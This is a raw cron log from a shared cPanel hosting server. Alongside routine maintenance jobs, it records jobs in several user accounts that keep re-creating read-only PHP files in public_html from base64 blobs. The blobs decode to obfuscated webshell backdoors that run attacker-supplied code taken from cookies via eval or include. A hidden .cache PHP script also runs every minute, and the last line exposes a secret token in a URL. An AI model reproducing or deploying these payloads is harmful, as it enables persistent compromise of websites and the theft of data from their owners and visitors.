Jun  7 05:10:01 medusa CROND[22234]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:10:01 medusa CROND[22235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:10:01 medusa CROND[22236]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:10:01 medusa CROND[22238]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:10:01 medusa CROND[22240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:10:01 medusa CROND[22241]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:10:01 medusa CROND[22242]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:10:01 medusa CROND[22243]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:10:01 medusa CROND[22245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:10:01 medusa CROND[22244]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:10:01 medusa CROND[22230]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 05:10:01 medusa CROND[22246]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:10:01 medusa CROND[22237]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:10:01 medusa CROND[22229]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:10:01 medusa CROND[22251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:10:01 medusa CROND[22255]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:10:01 medusa CROND[22262]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:10:01 medusa CROND[22266]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:10:01 medusa CROND[22271]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:10:01 medusa CROND[22276]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 05:10:01 medusa CROND[22282]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:10:01 medusa CROND[22279]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 05:11:02 medusa CROND[24083]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:11:02 medusa CROND[24090]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:11:02 medusa CROND[24091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:11:02 medusa CROND[24092]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:11:02 medusa CROND[24093]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:11:02 medusa CROND[24094]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:11:02 medusa CROND[24095]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:11:02 medusa CROND[24099]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:11:02 medusa CROND[24101]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:11:02 medusa CROND[24102]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:11:02 medusa CROND[24104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:11:02 medusa CROND[24110]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:11:02 medusa CROND[24113]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:12:02 medusa CROND[25560]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 05:12:02 medusa CROND[25561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:12:02 medusa CROND[25562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:12:02 medusa CROND[25563]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:12:02 medusa CROND[25565]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:12:02 medusa CROND[25564]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:12:02 medusa CROND[25566]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:12:02 medusa CROND[25567]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:12:02 medusa CROND[25569]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
